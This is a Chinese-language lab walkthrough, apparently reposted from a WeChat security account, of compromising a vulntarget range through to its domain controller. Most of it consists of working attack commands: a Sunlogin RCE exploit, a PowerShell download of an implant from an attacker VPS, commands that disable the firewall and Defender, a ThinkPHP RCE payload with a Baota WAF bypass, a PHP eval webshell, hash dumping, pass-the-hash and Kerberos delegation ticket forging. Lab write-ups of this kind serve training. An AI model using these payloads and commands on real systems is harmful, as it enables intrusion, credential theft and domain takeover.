靶场拓扑:
复现过程:
VM虚拟机搭建好后ping不通外网主机,开了防火墙这里利用goby扫全端口出来一个49685端口,访问试试
访问后显示Verification failure 这里判断可能存在向日葵客户端,尝试利用Exp:https://github.com/Mr-xn/sunlogin_rce
命令:xrkRce.exe -h 192.168.1.78 -t rce -p 49685 -c "whoami"
可以执行命令后先把防火墙关了:netsh firewall set opmode mode=disable
执行进程查看命令均失败可能存在杀软,进程也查看不了
这里利用一条命令:xrkRce.exe -h 192.168.1.78 -t rce -p 49848 -c "powershell ( new-object System.Net.WebClient).DownloadFile( 'http://IP/x64.exe' , 'C:UsersAdministratorx.exe' )"
把vps上的x.exe下载到指定目录下,注意马子需要做免杀
这里看到能直接下载下来我们的马子到目标电脑上了
执行命令成功上线cs,针对杀软还有一种思路,直接关闭defender
执行:reg add "HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f 这条命令会报错原因是这里的双影号被闭合掉了,换一条命令直接能执行成功,命令如下:set-MpPreference -DisableRealtimeMonitoring $true
因为中间环境出了问题,直接反弹到msf开代理扫内网c段
这里是直接没有扫出来然后换思路,信息收集发现主机上存在的测试地址想着利用host碰撞
脚本地址:https://github.com/fofapro/Hosts_scan
命令:proxychains python3 IP_hosts_scan.py
这里成功访问到了www.cJO6w10YLS.com这个域名内,本地配置代理和host头访问
然后尝试弱口令没有进去想着会不会有sql注入也尝试了一下也不行
读了一下源码发现form表单未向后端传输数据,可见这里是一个假的login页面
在落地机火狐浏览器访问历史记录内发现/vulntarget/public目录本地尝试访问
thinkphp 5.0框架存在远程命令执行,尝试利用很多个rce payload都不行然后不是被上墙就是被拦截
然后换了个payload打过去显示出了宝塔的拦截页面
再打就上黑名单直接拉黑处理,当时头都大了
常见payload:?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
由于这个system函数被禁用了执行不了命令然后尝试绕过宝塔
这里对phpinfo()编码后一直执行不了命令,那直接写一个phpinfo上去看看
其实也没什么太大问题,那接下来就是getshell了,写上去一个马
马子内容:<?php @eval(base64_decode($_POST[mr6]));?>
利用蚁剑加载编码器:'user strict'; module.exports = (pwd, data, ext={}) => { data[pwd] = Buffer.from(data['']).toString('base64'); delete data['']; return data; }
客户端再做个body体伪造:
然后才算是成功getshell
尝试命令执行发现禁用了命令,前期看到的php版本是7.0以上,这里直接用宝塔自带的插件绕过,成功执行命令
然后在/home/vulntarget 目录下发现一个key可能是root的,这里直接拖下来尝试连接
用户名:root 密码为空
然后回头做一下信息收集,本来想cs直接读hash的这里尝试一种新方法
利用Procdump工具把主机hash文件下载下来拖到本地利用mimikatz解密,解密后这里获取到了两个账户明文密码
Linux上线有很多畸形方法,前面root用户的key已经拿到直接可以关闭linux防火墙策略然后正向,反向shell都没问题,这里还是按照老路子来走
一开始想的是做msf正向连接但是都不行,尝试反弹shell也不行,做一下端口出网探测
软件地址:https://github.com/FunnyWolf/TFirewall
win2016上传一个tfs_windows_amd64.exe,ubuntu上传一个tfc_linux_386,注意文件大小然后win16上使用命令:tfs_windows_amd64.exe check 100-200
ubuntu上使用命令:./tfc_linux_386 check 192.168.100.155 100-200
这里可以看到113 119端口出网,尝试反弹shell上线
然后这里成功上线linux这台主机,然后进行内网信息收集
ifconfig发现存在88网段
添加路由扫内网:run autoroute -s 192.168.88.1/24
查看路由信息:run post/multi/manage/autoroute
前面的扫内网模块一直不通这里直接读linux缓存,信息收集出来两个IP地址,129和254
使用:use auxiliary/server/socks_proxy
开出来一条代理然后goby上直接扫端口,一开始这样是不行的因为这里开了iptables规则,这里自己添加一条出网规则或者放行所有端口:
iptables -A INPUT -j ACCEPT iptables -A OUTPUT -j ACCEPT
上传fscan 到ubuntu上面扫c段,测试存活192.168.88.129
命令探测smb:./fscan_amd64 -h 192.168.88.129 -m smb
利用wmiexec.py登陆指定服务器,命令:python3 wmiexec.py 'administrator:admin@[email protected]'
然后上来检测一下杀软准备上线cs
没有杀软进程且用户权限为管理员权限,直接powshell上线cs,本地信息收集发现存在域环境且有10网段
先定位域控IP地址,直接ping域名或者和域控同步时间
现在确定了域控IP,尝试抓本地hash
域管hash:2fbbf192edbdf90700220cb6a6caf4a2
这里可以利用mimikatz来抓或者cs插件来读取hash,拿去解密发现解不出来,接着尝试哈希传递
这里开一条代理然后尝试wmiexec传递hash,命令:python3 wmiexec.py -hashes:2fbbf192edbdf90700220cb6a6caf4a2 vulntargrt/[email protected] "ipconfig"
利用约束委派来打一下
1.tgt伪造:
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi
2.cifs协议伪造:
tgs::s4u /tgt:[email protected][email protected]/user:[email protected] /service:cifs/WIN-1PV25H8UJPN.vulntarget.com
3.票据导入
kerberos::ptt [email protected]@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi
4.dir | net user 都可以使用了
原文为2022年所写,如有纰漏烦请斧正!
原文始发于微信公众号(梅苑安全):靶场|宝塔绕过+约束委派=获取域控
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论